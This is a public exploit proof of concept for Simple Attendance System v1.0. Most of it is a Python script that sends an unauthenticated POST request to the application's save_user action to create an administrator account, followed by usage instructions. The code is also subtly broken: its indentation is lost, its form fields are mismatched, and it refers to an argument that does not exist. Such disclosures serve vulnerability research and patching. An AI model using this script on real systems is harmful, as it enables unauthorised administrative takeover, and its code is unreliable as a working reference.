Simple Attendance System 1.0 Authentication Bypass

`# Exploit Title: Simple Attendance System v1.0 - Unauthenticated Add Admin Account  
# Exploit Author: Richard Jones  
# Date: September 26, 2021  
# Vendor Homepage: https://www.sourcecodester.com/php/14948/simple-attendance-system-php-and-sqlite-free-source-code.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=14948&title=Simple+Attendance+System+in+PHP+and+SQLite+Free+Source+Code  
# Tested on: Kali Linux, Apache, Mysql  
# Vendor: oretnom23  
# Version: v1.0  
# Exploit Description:  
# Simple Attendance System v1.0 v1.0 suffers Unauthenticated Add Administration Account. We can craft a post request to add an admin account to the applicaiton without authentication.  
  
  
# Usage: python3 attendance_poc.py -u admin1 -p admin1 -url http://localhost/attendance/  
# Then login to the app at http://localhost/attendance/login.php to be logged as admin.   
  
  
import requests  
import argparse  
  
  
def createAccount(args):  
try:  
data = f'id=&fullname={args.username}&username={args.password}&type=1'  
headers = {"Content-Type": "application/x-www-form-urlencoded"}  
r = requests.post(url=f"{args.host}Actions.php?a=save_user", data=data, headers=headers)  
if r. status_code == 200:  
resp = r.text  
if "Username already exists." in resp:  
print(f"Username \"{args.username}\" taken!\nChange it and try again. ")   
if "New User successfully saved." in resp:  
print("Created User")  
print(f"Username: {args.username}\nPassword: {args.password}")  
print(f"\nPlease try to login here: {args.url}login.php")   
except:  
print("Unknown Error, Check URL and try again.")  
  
  
def main():  
parser = argparse.ArgumentParser()  
parser.add_argument("-u", "--username", help="Username to create", required=True)  
parser.add_argument("-p", "--password", help="Password for the user account", required=True)  
parser.add_argument("-url", "--host", help="Host for the webapp eg: http://localhost/attendance/ << ends with / ", required=True)  
args = parser.parse_args()  
  
createAccount(args)  
  
  
  
if __name__ == "__main__":  
main()  
`